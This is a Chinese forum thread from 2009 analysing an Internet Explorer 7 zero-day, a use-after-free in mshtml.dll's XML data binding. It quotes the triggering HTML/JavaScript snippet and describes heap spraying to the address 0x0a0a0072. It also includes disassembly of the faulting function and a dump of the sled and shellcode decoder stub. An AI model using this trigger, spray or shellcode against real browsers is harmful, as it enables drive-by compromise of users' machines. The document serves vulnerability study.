找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 742|回复: 1

IE7 0day漏洞分析

[复制链接]

1778

主题

5094

回帖

1万

牛毛

论坛管理员

佚名

积分
14675
QQ
发表于 2009-1-16 14:32:32 | 显示全部楼层
呵呵,过来看看啦!

45

主题

153

回帖

281

牛毛

一级牛人

积分
281
 楼主| 发表于 2009-1-16 14:02:00 | 显示全部楼层 |阅读模式 来自 上海市
IE7 0day漏洞分析
0day代码片断
if(wxp||w2k3)document.write(&#39;<XML ID=I><X><C><![CDATA[<image SRC=http://r&#2570;r.book.com src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>&#39;);

关键触发是由于这个Image SRC的字段的数据造成的
http://r&#2570;r.book.com
mshtml.dll会对这个SRC作解析

r把十进制的114转成0x0072
&#2570;把十进制的2570转成0x0a0a
刚好它们拼在一起就是一个可利用的堆地址
0x0a0a0072,通过heap spray,分配大量的内存
可使shellcode填充到这个地址空间去,所以我们可以修改这个值来构造我们
的地址,知道下面的
用意了吧,呵呵
var retVal=unescape(\"%u0a0a%u0a0a\");
aaablk=(0x0a0a0a0a-0x10***00)/heapBlockSize;

它是怎么进入到0x0a0a0072这个地址的了,由于
重用了一个释放了的对象的造成可以执行我们自已构造的数据,具体代码如下
mshtml.dll CXfer::TransferFromSrc(void)
.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near
.text:461E3D18 ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p
.text:461E3D18 ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...
.text:461E3D18
.text:461E3D18 pvarg = VARIANTARG ptr -18h
.text:461E3D18 var_8 = dword ptr -8
.text:461E3D18 var_4 = dword ptr -4
.text:461E3D18
.text:461E3D18 mov edi, edi
.text:461E3D1A pushebp
.text:461E3D1B mov ebp, esp
.text:461E3D1D sub esp, 18h
.text:461E3D20 pushebx
.text:461E3D21 pushesi
.text:461E3D22 mov esi, ecx
.text:461E3D24 xor ebx, ebx
.text:461E3D26 testbyte ptr [esi+1Ch], 9
.text:461E3D2A jnz loc_461E3E2E

.text:461E3D30 mov eax, [esi] //eax==0x0a0a0072
.text:461E3D32 cmp eax, ebx
.text:461E3D34 jzloc_461E3E29
.text:461E3D3A cmp [esi+4], ebx
.text:461E3D3D jzloc_461E3E29
.text:461E3D43 cmp [esi+8], ebx
.text:461E3D46 jzloc_461E3E29
.text:461E3D4C mov ecx, [eax] //可能是eax==0x0a0a0a0a
.text:461E3D4E pushedi
.text:461E3D4F pusheax
.text:461E3D50 calldword ptr [ecx+84h] //call 0x0a0a0aae
.text:461E3D56 mov eax, [esi+1Ch]
.text:461E3D59 mov edi, eax
.text:461E3D5B shr edi, 1

call 0x0a0a0aae会执行如下指令,一直执行直到执行到shellcode处

0A2BF9B60A0Aorcl, byte ptr [edx]
0A2BF9B80A0Aorcl, byte ptr [edx]
0A2BF9BA0A0Aorcl, byte ptr [edx]
0A2BF9BC0A0Aorcl, byte ptr [edx]
0A2BF9BE0A0Aorcl, byte ptr [edx]
0A2BF9C00A0Aorcl, byte ptr [edx]
0A2BF9C20A0Aorcl, byte ptr [edx]
0A2BF9C40A0Aorcl, byte ptr [edx]
0A2BF9C60A0Aorcl, byte ptr [edx]
0A2BF9C80A0Aorcl, byte ptr [edx]
0A2BF9CA0A0Aorcl, byte ptr [edx]
0A2BF9CC0A0Aorcl, byte ptr [edx]
0A2BF9CE0A0Aorcl, byte ptr [edx]
0A2BF9D00A0Aorcl, byte ptr [edx]
0A2BF9D20A0Aorcl, byte ptr [edx]
0A2BF9D40A0Aorcl, byte ptr [edx]
0A2BF9D60A0Aorcl, byte ptr [edx]
0A2BF9D80A0Aorcl, byte ptr [edx]
0A2BF9DA0A0Aorcl, byte ptr [edx]
0A2BF9DC0A0Aorcl, byte ptr [edx]
0A2BF9DE0A0Aorcl, byte ptr [edx]
0A2BF9E00A0Aorcl, byte ptr [edx]
0A2BF9E20A0Aorcl, byte ptr [edx]
0A2BF9E40A0Aorcl, byte ptr [edx]
0A2BF9E60A0Aorcl, byte ptr [edx]
0A2BF9E80A0Aorcl, byte ptr [edx]

0A2BF9EA90nop //shellcode
0A2BF9EB90nop
0A2BF9EC25 007****0090 and eax, 900****7500
0A2BF9F190nop
0A2BF9F290nop
0A2BF9F390nop
0A2BF9F4D9E1fabs
0A2BF9F6D93***24fstenv (28-byte) ptr [esp]
0A2BF9F958pop eax
0A2BF9FA58pop eax
0A2BF9FB58pop eax
0A2BF9FC58pop eax
0A2BF9FD33DBxor ebx, ebx
0A2BF9FFB3 1C mov bl, 1C
0A2BFA0103C3add eax, ebx
0A2BFA0331C9xor ecx, ecx
0A2BFA0566:81E9 65FAsub cx, 0FA65
0A2BFA0A8030 21 xor byte ptr [eax], 21
0A2BFA0D40inc eax
0A2BFA0E ^ E2 FA loopd short 0A2BFA0A
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-5-9 17:02 , Processed in 0.316593 second(s), 40 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表